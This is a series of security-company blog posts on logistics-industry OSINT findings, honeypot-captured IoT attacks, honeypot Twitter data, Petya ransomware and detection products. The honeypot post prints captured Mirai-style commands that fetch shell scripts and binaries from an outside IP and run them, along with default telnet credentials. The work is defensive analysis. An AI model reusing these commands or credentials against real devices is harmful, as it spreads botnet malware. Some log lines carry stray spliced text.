A SilentTiger™ Look At The Logistics Industry

I was recently asked to discuss how attackers view parts of the logistics industry with some folks from a research group. As a part of that, I performed a very quick OSINT check against a handful of randomly chosen logistics firms set around a specific US geographic area. Using our proprietary SilentTiger™ passive assessment platform, we were able to quickly and easily identify some specific patterns. We allowed the tool to only complete the first step of basic foot printing of the companies and analyzed less than 10% of the total data sources that a full run of the platform would access.

 

This quick approach lets us learn about some of the basic threat densities that we know are common to different industries, and gives MSI a rough idea of comparison in terms of security maturity across a given industry. With a large enough data set, very interesting patterns and trends often emerge. All findings below are based on our small geographic sample.

 

In this case, we quickly identified that our sample set was not as mature in their phishing controls as other industries. There were substantially more overall phishing targets easily identified across the board than other industries we’ve sampled (we mined 312 targets in 60 seconds). However, the platform ranks the threats against the identified phishing targets using basic keyword analysis against the mined email addresses, and in this case, the good news is that only 3 “critical risk” target accounts were identified. So, while the engine was able to mine more accounts in a minute than other industries with similar sized samples, the number of critical accounts mined in a minute was quite a bit less than usual. We ranked their maturity as low, because in addition to the number of mined accounts, the platform also found specific histories of this attack vector being exploited, some as recent as within 3 days of the study.

 

The study set also showed issues with poor DNS hygiene to be prevalent across the study group. Leaking internal IP address information and exposure of sensitive information via DNS was common across the data set. Many of the companies in the data set also exposed several dangerous host names that attackers are known to target to the Internet. Overall, 67 sensitive DNS entries were found, which is again significantly higher than other similar industry datasets. When compared against highly regulated industry data sets of similar size, the logistics industry sample shows an 18% increase versus average with regard to poor DNS hygiene. This likely increases the probability of focused targeting against what is commonly viewed as weaker targets – translating to increased risk for the logistics industry.

 

Lastly, the data set also demonstrated the logistics industry to be plagued with the use of plain text protocols. Telnet and FTP exposures were the norm across the data set. Given the known dependence on flat file, EDI and other plain text operations data across the logistics industry, the maturity of controls surrounding these exposures seems to be relatively low. In some cases, anonymous FTP was also in use and exposed operational data (we have notified the companies of the issue) across the Internet. This is a significant problem, and represents a clear and present danger to the operations of these firms (according to the sources we talked with about the issue). We also identified attacker conversations around this issue, and the presence of these targets on attacker lists of compromised hosts or hosts to use for covert data exchange!

 

Obviously, if you are a security person for a logistics firm, these points should be used for a quick review of your own. If you’d like to discuss them or dive deeper into these issues, please don’t hesitate to get in touch with MSI (@microsolved) or give us a call for a free consultation. As always, thanks for reading, and until next time, stay safe out there!

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Playing with Honeypot Twitter Data

I just wanted to share a bit of fun from my daily research work. I monitor a lot of honeypot data on a global scale, most of which is generated from HoneyPoint, of course. The HITME produces large amounts of data every hour, and it is a ton of fun to play with.

But, I also monitor several Twitter feeds of honeypot data, and I wanted to share a few quick things with you from there.

Below is a topic cloud from the feeds for yesterday. The larger the words, the more numerous their use:

Topicpaircloud

I also rank hashtags by use, and here are a few high hitters, and their number of uses in a day’s worth of data back in July:

58565 #netmenaces
11302 #hit
5959 #blacklisted
5379 #host
2990 #telnet
2813 #badabuse
2660 #infosec
2660 #cybersecurity
2301 #botabuse
2142 #smb
1723 #mssql
1311 #wordpress
1091 #mysql

Do you generate data like this? If so, how do you play with it? Hit me up on Twitter (@lbhuston) and share your process.

Petya/PetyaWrap Threat Info

As we speak, there is a global ransomware outbreak spreading. The infosec community is working together, in the open, on Twitter and mailing lists sharing information with each other and the world about the threat. 

The infector is called “Petya”/“PetyaWrap” and it appears to use psexec to execute the EternalBlue exploits from the NSA.

The current infector has the following list of target file extensions in the current (as of an hour ago) release. https://twitter.com/bry_campbell/status/879702644394270720/photo/1

Those with robust networks will likely find containment a usual activity, while those who haven’t implement defense in depth and a holistic enclaving strategy are likely in trouble.

Here are the exploits it is using: CVE-2017-0199 and MS17-010, so make sure you have these patched on all systems. Make sure you find anything that is outside the usual patch cycle, like HVAC, elevators, network cameras, ATMs, IoT devices, printers and copiers, ICS components, etc. Note that this a combination of a client-side attack and a network attack, so likely very capable of spreading to internal systems… Client side likely to yield access to internals pretty easily.

May only be affecting the MBR, so check that to see if it is true for you. Some chatter about multiple variants. If you can open a command prompt, bootrec may help. Booting from a CD/USB or using a drive rescue tool may be of use. Restore/rebuild the MBR seems to be successful for some victims. >>  “bootrec /RebuildBcd bootrec /fixMbr bootrec /fixboot” (untested)

New Petrwrap/Petya ransomware has a fake Microsoft digital signature appended. Copied from Sysinternals Utils. – https://t.co/JooBu8lb9e

Lastline indicated this hash as an IOC: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 – They also found these activities: https://pbs.twimg.com/media/DDVj-llVYAAHqk4.jpg

Eternal Blue detection rules are firing in several detection products, ET Rules firing on that Petya 71b6a493388e7d0b40c83ce903bc6b04  (drops 7e37ab34ecdcc3e77e24522ddfd4852d ) – https://twitter.com/kafeine/status/879711519038210048

Make sure Office updates are applied, in addition to OS updates for Windows. <<Office updates needed to be immune to CVE-2017-0199.

Now is a great time to ensure you have backups that work for critical systems and that your restore processes are functional.

Chatter about wide scale spread to POS systems across europe. Many industries impacted so far.

Bitdefender initial analysis – https://labs.bitdefender.com/2017/06/massive-goldeneye-ransomware-campaign-slams-worldwide-users/?utm_source=SMGlobal&utm_medium=Twitter&utm_campaign=labs

Stay safe out there! 

 

3:48pm Eastern

Update: Lots of great info on detection, response, spread and prevention can be found here: https://securelist.com/schroedingers-petya/78870/

Also, this is the last update to this post unless something significant changes. Follow me on Twitter for more info: @lbhuston 

Quick Look at Ransomware Content

Ransomware certainly is a hot topic in information security these days. I thought I would take a few moments and look at some of the content out there about it. Here are some quick and semi-random thoughts on the what I saw.

  • It very difficult to find an article on ransomware that scores higher than 55% on objectivity. Lots of marketing going on out there.
  • I used the new “Teardown” rapid learning tool I built to analyze 50 of the highest ranked articles on ransomware. Most of that content is marketing, even from vendors not associated with information security or security in general. Lots of product and service suggestive selling going on…
  • Most common tip? Have good and frequent backups. It helps if you make sure they restore properly.
  • Most effective tip, IMHO? Have strong egress controls. It helps if you have detective controls and process that are functional & effective.
  • Worst ransomware tip from the sample? Use a registry hack across all Windows machines to prevent VBS execution. PS – Things might break…

Overall, it is clear that tons of vendors are using ransomware and WannaCry as a marketing bandwagon. That should make you very suspicious of things you read, especially those that seem vendor or product specific. If you need a set of good information to use to present ransomware to your board or management team, I thought the Wikipedia article here was pretty decent information. Pay attention to where you get your information from, and until next time, stay safe out there!

Introducing AirWasp from MSI!

NewImage

For over a decade, HoneyPoint has been proving that passive detection works like a charm. Our users have successfully identified millions of scans, probes and malware infections by simply putting “fake stuff” in their networks, industrial control environments and other strategic locations. 

 

Attackers have taken the bait too; giving HoneyPoint users rapid detection of malicious activity AND the threat intelligence they need to shut down the attacker and isolate them from other network assets.

 

HoneyPoint users have been asking us about manageable ways to detect and monitor for new WiFi networks and we’ve come up with a solution. They wanted something distributed and effective, yet easy to use and affordable. They wanted a tool that would follow the same high signal, low noise detection approach that they brag about from their HoneyPoint deployments. That’s exactly what AirWasp does.

 

We created AirWasp to answer these WiFi detection needs. AirWasp scans for and profiles WiFi access points from affordable deck-of-cards-sized appliances. It alerts on any detected access points through the same HoneyPoint Console in use today, minimizing new cost and management overhead. It also includes traditional HoneyPoints on the same hardware to help secure the wired network too!

 

Plus, our self-tuning white list approach means you are only alerted once a new access point is detected – virtually eliminating the noise of ongoing monitoring. 

 

Just drop the appliance into your network and forget about it. It’ll be silent, passive and vigilant until the day comes when it has something urgent for you to act upon. No noise, just detection when you need it most.

 

Use Cases:

 

  • Monitor multiple remote sites and even employee home networks for new Wifi access points, especially those configured to trick users
  • Inventory site WiFi footprints from a central location by rotating the appliance between sites periodically
  • Detect scans, probes and worms targeting your systems using our acclaimed HoneyPoint detection and black hole techniques
  • Eliminate monitoring hassles with our integration capabilities to open tickets, send data to the SIEM, disable switch ports or blacklist hosts using your existing enterprise products and workflows

More Information

 

To learn how to bring the power and flexibility of HoneyPoint and AirWasp to your network, simply contact us via email (info@microsolved.com) or phone (614) 351-1237.


 

We can’t wait to help you protect your network, data and users!


Yahoo Claims of Nation State Attackers are Refuted

A security vendor claims that the Yahoo breach was performed by criminals and not a nation state.

This is yet more evidence that in many cases, focusing on the who is the wrong approach. Instead of trying to identify a specific set of attacker identities, organizations should focus on the what and how. This is far more productive, in most cases.

If, down the road, as a part of recovery, the who matters to some extent (for example, if you are trying to establish a loss impact or if you are trying to create economic defenses against the conversion of your stolen data), then might focus on the who at that point. But, even then, performing a spectrum analysis of potential attackers, based on risk assessment is far more likely to produce results that are meaningful for your efforts. 

Attribution is often very difficult and can be quite misleading. Effective incident response should clearly focus on the what and how, so as to best minimize impacts and ensure mitigation. Clues accumulated around the who at this stage should be archived for later analysis during recovery. Obviously, this data should be handled and stored carefully, but nonetheless, that data shouldn’t derail or delay the investigation and mitigation work in nearly every case.

How does your organization handle the who evidence in an incident? Let us know on Twitter (@microsolved) and we will share the high points in a future post.

Pay Attention to Egress Anomalies on Weekends

Just a quick note to pay careful attention to egress anomalies when the majority of your employees are not likely to be using the network. Most organizations, even those that are 24/7, experience reduced network egress to the Internet during nights and weekends. This is the perfect time to look for anomalies and to take advantage of the reduced traffic levels to perform deeper analysis such as a traffic level monitoring, average session/connection sizes, anomalies in levels of blocked egress ports, new and never before seen DNS resolutions, etc. 

If you can baseline traffic, even using something abstract like net flow, you may find some amazing stuff. Check it out! 

Password Breach Mining is a Major Threat on the Horizon

Just a quick note today to get you thinking about a very big issue that is just over the security horizon.

As machine learning capabilities grow rapidly and mass storage pricing drops to close to zero, we will see a collision that will easily benefit common criminals. That is, they will begin to apply machine learning correlation and prediction capabilities to breach data – particularly passwords, in my opinion.

Millions of passwords are often breached at a time these days. Compiling these stolen password is quite easy, and with each added set, the idea of tracking and tracing individual users and their password selection patterns becomes trivial. Learning systems could be used to turn that raw data into insights about particular user patterns. For example, if a user continually creates passwords based on a season and a number (ex: Summer16) and several breaches show that same pattern as being associated with that particular user (ex: Summer16 on one site, Autumn12 on another and so on…) then the criminals can use prediction algorithms to create a custom dictionary to target that user. The dictionary set will be concise and is likely to be highly effective.

Hopefully, we have been teaching users not to use the same password in multiple locations – but a quick review of breach data sets show that these patterns are common. I believe they may well become the next evolution of bad password choices.

Now might be the time to add this to your awareness programs. Talk to users about password randomization, password vaults and the impacts that machine learning and AI are likely to have on crime. If we can change user behavior today, we may be able to prevent the breaches of tomorrow!

From Dark Net Research to Real World Safety Issue

On a recent engagement by the MSI Intelligence team, our client had us researching the dark net to discover threats against their global brands. This is a normal and methodology-driven process for the team and the TigerTrax™ platform has been optimized for this work for several years.

We’ve seen plenty of physical threats against clients before. In particular, our threat intelligence and brand monitoring services for professional sports teams have identified several significant threats of violence in the last few years. Unfortunately, this is much more common for high visibility brands and organizations than you might otherwise assume.

In this particular instance, conversations were flagged by TigerTrax from underground forums that were discussing physical attacks against the particular brand. The descriptions were detailed, politically motivated and threatened harm to employees and potentially the public. We immediately reported the issue and provided the captured data to the client. The client reviewed the conversations and correlated them with other physical security occurrences that had been reported by their employees. In today’s world, such threats require vigilant attention and a rapid response.

In this case, the client was able to turn our identified data into insights by using it to gain context from their internal security issue reporting system. From those insights, they were able to quickly launch an awareness campaign for their employees in the areas identified, report the issue to localized law enforcement and invest in additional fire and safety controls for their locations. We may never know if these efforts were truly effective, but if they prevented even a single occurrence of violence or saved a single human life, then that is a strong victory.

Security is often about working against things so that they don’t happen – making it abstract, sometimes frustrating and difficult to explain to some audiences. But, when you can act on binary data as intelligence and use it to prevent violence in the kinetic world, that is the highest of security goals! That is the reason we built TigerTrax and offer the types of intelligence services we do to mature organizations. We believe that insights like these can make a difference and we are proud to help our clients achieve them.